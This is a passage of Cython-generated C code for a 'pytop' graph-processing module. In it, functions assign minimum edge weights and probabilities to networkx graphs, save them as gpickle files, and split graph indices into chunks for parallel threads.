__Pyx_GOTREF(__pyx_t_7); __pyx_t_5 = __Pyx_PyObject_GetItem(__pyx_t_7, __pyx_v_s); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (unlikely(PyObject_SetItem(__pyx_t_5, __pyx_n_s_prob, __pyx_t_8) < 0)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; /* "pytop/cutils/min_weights.pyx":111 * for s in neighbors: * g[p][s]["prob"] = _EPSILON * g[p][s]["raw_w"] = np.inf # <<<<<<<<<<<<<< * nx.write_gpickle(g, os.path.join(self.save_path, str(name) + ".gpickle")) * */ __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_np); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_inf); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = __Pyx_PyObject_GetItem(__pyx_v_g, __pyx_v_p); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_7 = __Pyx_PyObject_GetItem(__pyx_t_8, __pyx_v_s); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; if (unlikely(PyObject_SetItem(__pyx_t_7, __pyx_n_s_raw_w, __pyx_t_5) < 0)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "pytop/cutils/min_weights.pyx":109 * g[p][s]["prob"] = _EPSILON * else: * for s in neighbors: # <<<<<<<<<<<<<< * g[p][s]["prob"] = _EPSILON * g[p][s]["raw_w"] = np.inf */ } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __pyx_L7:; /* "pytop/cutils/min_weights.pyx":85 * target = g.graph["target"] * min_edge_weights = get_min_edge_weights(g, target) * for p in g.nodes(): # <<<<<<<<<<<<<< * neighbor_weights = [] * neighbors = list(g.neighbors(p)) */ } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "pytop/cutils/min_weights.pyx":112 * g[p][s]["prob"] = _EPSILON * g[p][s]["raw_w"] = np.inf * nx.write_gpickle(g, os.path.join(self.save_path, str(name) + ".gpickle")) # <<<<<<<<<<<<<< * * */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_nx); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_write_gpickle); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_os); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_path); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_join); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_save_path); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_12 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyString_Type)), __pyx_v_name); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_10 = PyNumber_Add(__pyx_t_12, __pyx_kp_s_gpickle); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = NULL; __pyx_t_11 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_12)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_12); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_11 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_12, __pyx_t_8, __pyx_t_10}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_12, __pyx_t_8, __pyx_t_10}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } else #endif { __pyx_t_9 = PyTuple_New(2+__pyx_t_11); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_12) { __Pyx_GIVEREF(__pyx_t_12); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_12); __pyx_t_12 = NULL; } __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_11, __pyx_t_8); __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_11, __pyx_t_10); __pyx_t_8 = 0; __pyx_t_10 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_9, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; __pyx_t_11 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_11 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_v_g, __pyx_t_6}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_v_g, __pyx_t_6}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_9 = PyTuple_New(2+__pyx_t_11); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_INCREF(__pyx_v_g); __Pyx_GIVEREF(__pyx_v_g); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_11, __pyx_v_g); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_11, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_9, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "pytop/cutils/min_weights.pyx":80 * # process_name_id = int(current_process().name.split("-")[-1]) * # logger = self.log_files[process_name_id] * for name in names: # <<<<<<<<<<<<<< * # logger.info("Processing file {}".format(os.path.join(self.source_path, str(name) + ".gpickle"))) * g = nx.read_gpickle(os.path.join(self.source_path, str(name) + ".gpickle")) */ } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":76 * return exp / exp.sum() * * def save_weights(self, names): # <<<<<<<<<<<<<< * names = list(names) * # process_name_id = int(current_process().name.split("-")[-1]) */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __Pyx_XDECREF(__pyx_t_9); __Pyx_XDECREF(__pyx_t_10); __Pyx_XDECREF(__pyx_t_12); __Pyx_AddTraceback("pytop.cutils.min_weights.Processor.save_weights", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_name); __Pyx_XDECREF(__pyx_v_g); __Pyx_XDECREF(__pyx_v_target); __Pyx_XDECREF(__pyx_v_min_edge_weights); __Pyx_XDECREF(__pyx_v_p); __Pyx_XDECREF(__pyx_v_neighbor_weights); __Pyx_XDECREF(__pyx_v_neighbors); __Pyx_XDECREF(__pyx_v_s); __Pyx_XDECREF(__pyx_v_w); __Pyx_XDECREF(__pyx_v_min_neighbor_w); __Pyx_XDECREF(__pyx_v_max_neighbor_w); __Pyx_XDECREF(__pyx_v_i); __Pyx_XDECREF(__pyx_v_delta_w); __Pyx_XDECREF(__pyx_v_likelihoods); __Pyx_XDECREF(__pyx_v_l); __Pyx_XDECREF(__pyx_v_names); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "pytop/cutils/min_weights.pyx":115 * * * def add_min_weights_to_data(str source_path, str save_path, int n_graphs, int n_threads): # <<<<<<<<<<<<<< * def slice_gen(): * chunk_size = n_graphs // (n_threads * 4) */ /* Python wrapper */ static PyObject *__pyx_pw_5pytop_6cutils_11min_weights_5add_min_weights_to_data(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5pytop_6cutils_11min_weights_5add_min_weights_to_data = {"add_min_weights_to_data", (PyCFunction)(void*)(PyCFunctionWithKeywords)__pyx_pw_5pytop_6cutils_11min_weights_5add_min_weights_to_data, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5pytop_6cutils_11min_weights_5add_min_weights_to_data(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_source_path = 0; PyObject *__pyx_v_save_path = 0; int __pyx_v_n_graphs; int __pyx_v_n_threads; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("add_min_weights_to_data (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_source_path,&__pyx_n_s_save_path,&__pyx_n_s_n_graphs,&__pyx_n_s_n_threads,0}; PyObject* values[4] = {0,0,0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); CYTHON_FALLTHROUGH; case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); CYTHON_FALLTHROUGH; case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); CYTHON_FALLTHROUGH; case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); CYTHON_FALLTHROUGH; case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_source_path)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: if (likely((values[1] = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_save_path)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("add_min_weights_to_data", 1, 4, 4, 1); __PYX_ERR(0, 115, __pyx_L3_error) } CYTHON_FALLTHROUGH; case 2: if (likely((values[2] = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_n_graphs)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("add_min_weights_to_data", 1, 4, 4, 2); __PYX_ERR(0, 115, __pyx_L3_error) } CYTHON_FALLTHROUGH; case 3: if (likely((values[3] = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_n_threads)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("add_min_weights_to_data", 1, 4, 4, 3); __PYX_ERR(0, 115, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "add_min_weights_to_data") < 0)) __PYX_ERR(0, 115, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 4) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); values[2] = PyTuple_GET_ITEM(__pyx_args, 2); values[3] = PyTuple_GET_ITEM(__pyx_args, 3); } __pyx_v_source_path = ((PyObject*)values[0]); __pyx_v_save_path = ((PyObject*)values[1]); __pyx_v_n_graphs = __Pyx_PyInt_As_int(values[2]); if (unlikely((__pyx_v_n_graphs == (int)-1) && PyErr_Occurred())) __PYX_ERR(0, 115, __pyx_L3_error) __pyx_v_n_threads = __Pyx_PyInt_As_int(values[3]); if (unlikely((__pyx_v_n_threads == (int)-1) && PyErr_Occurred())) __PYX_ERR(0, 115, __pyx_L3_error) } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("add_min_weights_to_data", 1, 4, 4, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 115, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("pytop.cutils.min_weights.add_min_weights_to_data", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; if (unlikely(!__Pyx_ArgTypeTest(((PyObject *)__pyx_v_source_path), (&PyString_Type), 1, "source_path", 1))) __PYX_ERR(0, 115, __pyx_L1_error) if (unlikely(!__Pyx_ArgTypeTest(((PyObject *)__pyx_v_save_path), (&PyString_Type), 1, "save_path", 1))) __PYX_ERR(0, 115, __pyx_L1_error) __pyx_r = __pyx_pf_5pytop_6cutils_11min_weights_4add_min_weights_to_data(__pyx_self, __pyx_v_source_path, __pyx_v_save_path, __pyx_v_n_graphs, __pyx_v_n_threads); /* function exit code */ goto __pyx_L0; __pyx_L1_error:; __pyx_r = NULL; __pyx_L0:; __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_gb_5pytop_6cutils_11min_weights_23add_min_weights_to_data_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ /* "pytop/cutils/min_weights.pyx":116 * * def add_min_weights_to_data(str source_path, str save_path, int n_graphs, int n_threads): * def slice_gen(): # <<<<<<<<<<<<<< * chunk_size = n_graphs // (n_threads * 4) * if chunk_size == 0: */ /* Python wrapper */ static PyObject *__pyx_pw_5pytop_6cutils_11min_weights_23add_min_weights_to_data_1slice_gen(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/ static PyMethodDef __pyx_mdef_5pytop_6cutils_11min_weights_23add_min_weights_to_data_1slice_gen = {"slice_gen", (PyCFunction)__pyx_pw_5pytop_6cutils_11min_weights_23add_min_weights_to_data_1slice_gen, METH_NOARGS, 0}; static PyObject *__pyx_pw_5pytop_6cutils_11min_weights_23add_min_weights_to_data_1slice_gen(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("slice_gen (wrapper)", 0); __pyx_r = __pyx_pf_5pytop_6cutils_11min_weights_23add_min_weights_to_data_slice_gen(__pyx_self); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5pytop_6cutils_11min_weights_23add_min_weights_to_data_slice_gen(PyObject *__pyx_self) { struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen *__pyx_cur_scope; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("slice_gen", 0); __pyx_cur_scope = (struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen *)__pyx_tp_new_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen(__pyx_ptype_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen, __pyx_empty_tuple, NULL); if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen *)Py_None); __Pyx_INCREF(Py_None); __PYX_ERR(0, 116, __pyx_L1_error) } else { __Pyx_GOTREF(__pyx_cur_scope); } __pyx_cur_scope->__pyx_outer_scope = (struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data *) __Pyx_CyFunction_GetClosure(__pyx_self); __Pyx_INCREF(((PyObject *)__pyx_cur_scope->__pyx_outer_scope)); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_outer_scope); { __pyx_CoroutineObject *gen = __Pyx_Generator_New((__pyx_coroutine_body_t) __pyx_gb_5pytop_6cutils_11min_weights_23add_min_weights_to_data_2generator, NULL, (PyObject *) __pyx_cur_scope, __pyx_n_s_slice_gen, __pyx_n_s_add_min_weights_to_data_locals_s, __pyx_n_s_pytop_cutils_min_weights); if (unlikely(!gen)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; } /* function exit code */ __pyx_L1_error:; __Pyx_AddTraceback("pytop.cutils.min_weights.add_min_weights_to_data.slice_gen", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __Pyx_DECREF(((PyObject *)__pyx_cur_scope)); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_gb_5pytop_6cutils_11min_weights_23add_min_weights_to_data_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ { struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen *__pyx_cur_scope = ((struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen *)__pyx_generator->closure); PyObject *__pyx_r = NULL; long __pyx_t_1; int __pyx_t_2; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; int __pyx_t_8; PyObject *__pyx_t_9 = NULL; Py_ssize_t __pyx_t_10; PyObject *(*__pyx_t_11)(PyObject *); int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("slice_gen", 0); switch (__pyx_generator->resume_label) { case 0: goto __pyx_L3_first_run; case 1: goto __pyx_L7_resume_from_yield; default: /* CPython raises the right error here */ __Pyx_RefNannyFinishContext(); return NULL; } __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 116, __pyx_L1_error) /* "pytop/cutils/min_weights.pyx":117 * def add_min_weights_to_data(str source_path, str save_path, int n_graphs, int n_threads): * def slice_gen(): * chunk_size = n_graphs // (n_threads * 4) # <<<<<<<<<<<<<< * if chunk_size == 0: * chunk_size = n_graphs */ __pyx_t_1 = (__pyx_cur_scope->__pyx_outer_scope->__pyx_v_n_threads * 4); if (unlikely(__pyx_t_1 == 0)) { PyErr_SetString(PyExc_ZeroDivisionError, "integer division or modulo by zero"); __PYX_ERR(0, 117, __pyx_L1_error) } else if (sizeof(long) == sizeof(long) && (!(((long)-1) > 0)) && unlikely(__pyx_t_1 == (long)-1) && unlikely(UNARY_NEG_WOULD_OVERFLOW(__pyx_cur_scope->__pyx_outer_scope->__pyx_v_n_graphs))) { PyErr_SetString(PyExc_OverflowError, "value too large to perform division"); __PYX_ERR(0, 117, __pyx_L1_error) } __pyx_cur_scope->__pyx_v_chunk_size = __Pyx_div_long(__pyx_cur_scope->__pyx_outer_scope->__pyx_v_n_graphs, __pyx_t_1); /* "pytop/cutils/min_weights.pyx":118 * def slice_gen(): * chunk_size = n_graphs // (n_threads * 4) * if chunk_size == 0: # <<<<<<<<<<<<<< * chunk_size = n_graphs * idxs = np.arange(0, n_graphs, chunk_size) */ __pyx_t_2 = ((__pyx_cur_scope->__pyx_v_chunk_size == 0) != 0); if (__pyx_t_2) { /* "pytop/cutils/min_weights.pyx":119 * chunk_size = n_graphs // (n_threads * 4) * if chunk_size == 0: * chunk_size = n_graphs # <<<<<<<<<<<<<< * idxs = np.arange(0, n_graphs, chunk_size) * idxs = np.concatenate([idxs, [n_graphs]]) */ __pyx_cur_scope->__pyx_v_chunk_size = __pyx_cur_scope->__pyx_outer_scope->__pyx_v_n_graphs; /* "pytop/cutils/min_weights.pyx":118 * def slice_gen(): * chunk_size = n_graphs // (n_threads * 4) * if chunk_size == 0: # <<<<<<<<<<<<<< * chunk_size = n_graphs * idxs = np.arange(0, n_graphs, chunk_size) */ } /* "pytop/cutils/min_weights.pyx":120 * if chunk_size == 0: * chunk_size = n_graphs * idxs = np.arange(0, n_graphs, chunk_size) # <<<<<<<<<<<<<< * idxs = np.concatenate([idxs, [n_graphs]]) * for i in range(1, len(idxs)): */ __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_np); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_arange); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyInt_From_int(__pyx_cur_scope->__pyx_outer_scope->__pyx_v_n_graphs); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyInt_From_long(__pyx_cur_scope->__pyx_v_chunk_size); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[4] = {__pyx_t_7, __pyx_int_0, __pyx_t_4, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[4] = {__pyx_t_7, __pyx_int_0, __pyx_t_4, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_9 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 2+__pyx_t_8, __pyx_t_6); __pyx_t_4 = 0; __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_idxs = __pyx_t_3; __pyx_t_3 = 0; /* "pytop/cutils/min_weights.pyx":121 * chunk_size = n_graphs * idxs = np.arange(0, n_graphs, chunk_size) * idxs = np.concatenate([idxs, [n_graphs]]) # <<<<<<<<<<<<<< * for i in range(1, len(idxs)): * yield range(idxs[i - 1], idxs[i]) */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_np); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_concatenate); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 121, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = 